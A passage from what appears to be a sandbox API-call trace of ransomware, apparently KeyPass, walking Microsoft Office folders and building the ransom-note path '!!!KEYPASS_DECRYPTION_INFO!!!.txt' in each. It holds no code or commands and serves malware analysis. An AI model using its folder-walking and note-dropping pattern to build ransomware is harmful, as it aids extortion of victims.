lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.165] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4f28030 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.165] GetLastError () returned 0x3f0 [0269.165] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.165] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.166] GetFileType (hFile=0xd8c) returned 0x1 [0269.166] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0269.166] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0269.166] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0269.167] CloseHandle (hObject=0xd8c) returned 1 [0269.167] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0269.167] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.167] GetLastError () returned 0x3f0 [0269.167] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.167] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.168] GetFileType (hFile=0xd90) returned 0x1 [0269.168] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0269.168] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0269.168] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0269.169] CloseHandle (hObject=0xd90) returned 1 [0269.169] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0269.169] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.169] GetLastError () returned 0x3f0 [0269.169] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.169] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.170] GetFileType (hFile=0xd94) returned 0x1 [0269.170] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0269.170] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0269.170] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0269.171] CloseHandle (hObject=0xd94) returned 1 [0269.171] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.171] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.171] GetLastError () returned 0x3f0 [0269.171] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\Data Sources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\Data Sources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.171] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\Data Sources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.172] GetFileType (hFile=0xd9c) returned 0x1 [0269.172] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.172] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.172] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.173] CloseHandle (hObject=0xd9c) returned 1 [0269.173] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0269.173] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.173] GetLastError () returned 0x3f0 [0269.173] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.173] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.175] GetFileType (hFile=0xda0) returned 0x1 [0269.175] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0269.175] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0269.175] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0269.176] CloseHandle (hObject=0xda0) returned 1 [0269.176] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.176] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.176] GetLastError () returned 0x3f0 [0269.176] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.176] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.176] GetFileType (hFile=0xda4) returned 0x1 [0269.177] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.177] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.177] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.177] CloseHandle (hObject=0xda4) returned 1 [0269.178] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.178] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.178] GetLastError () returned 0x3f0 [0269.178] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.178] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.178] GetFileType (hFile=0xda8) returned 0x1 [0269.178] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.178] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.178] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.179] CloseHandle (hObject=0xda8) returned 1 [0269.179] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.179] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.179] GetLastError () returned 0x3f0 [0269.179] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\ole db\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.180] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.181] GetFileType (hFile=0xdac) returned 0x1 [0269.181] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.181] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.181] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.182] CloseHandle (hObject=0xdac) returned 1 [0269.182] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0269.182] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.182] GetLastError () returned 0x3f0 [0269.182] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.182] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.185] GetFileType (hFile=0xdb0) returned 0x1 [0269.185] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0269.185] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0269.185] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0269.186] CloseHandle (hObject=0xdb0) returned 1 [0269.187] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0269.187] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.187] GetLastError () returned 0x3f0 [0269.187] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.187] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.251] GetFileType (hFile=0xdb4) returned 0x1 [0269.251] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0269.251] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0269.251] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0269.252] CloseHandle (hObject=0xdb4) returned 1 [0269.253] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.253] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.253] GetLastError () returned 0x3f0 [0269.253] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.253] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.269] GetFileType (hFile=0xdb8) returned 0x1 [0269.269] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.269] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.269] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.270] CloseHandle (hObject=0xdb8) returned 1 [0269.270] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.270] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.270] GetLastError () returned 0x3f0 [0269.270] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.270] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.331] GetFileType (hFile=0xdbc) returned 0x1 [0269.331] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.331] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.331] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.332] CloseHandle (hObject=0xdbc) returned 1 [0269.332] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.332] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.332] GetLastError () returned 0x3f0 [0269.333] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1028\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1028\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.333] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1028\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.333] GetFileType (hFile=0xdc0) returned 0x1 [0269.333] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.333] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.334] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.334] CloseHandle (hObject=0xdc0) returned 1 [0269.334] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.334] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.335] GetLastError () returned 0x3f0 [0269.335] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1031\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1031\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.335] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1031\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.335] GetFileType (hFile=0xdc4) returned 0x1 [0269.335] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.335] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.336] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.336] CloseHandle (hObject=0xdc4) returned 1 [0269.336] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.336] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.336] GetLastError () returned 0x3f0 [0269.336] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.336] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.337] GetFileType (hFile=0xdc8) returned 0x1 [0269.337] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.337] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.337] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.338] CloseHandle (hObject=0xdc8) returned 1 [0269.338] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.338] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.338] GetLastError () returned 0x3f0 [0269.338] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1036\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.338] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.339] GetFileType (hFile=0xdcc) returned 0x1 [0269.339] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.339] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.339] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.340] CloseHandle (hObject=0xdcc) returned 1 [0269.340] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.340] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.340] GetLastError () returned 0x3f0 [0269.340] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1040\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1040\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.340] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1040\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.341] GetFileType (hFile=0xdd0) returned 0x1 [0269.341] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.341] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.341] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.342] CloseHandle (hObject=0xdd0) returned 1 [0269.342] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.342] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.342] GetLastError () returned 0x3f0 [0269.342] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1041\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1041\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.342] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1041\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.343] GetFileType (hFile=0xdd4) returned 0x1 [0269.343] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.343] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.343] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.344] CloseHandle (hObject=0xdd4) returned 1 [0269.344] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, 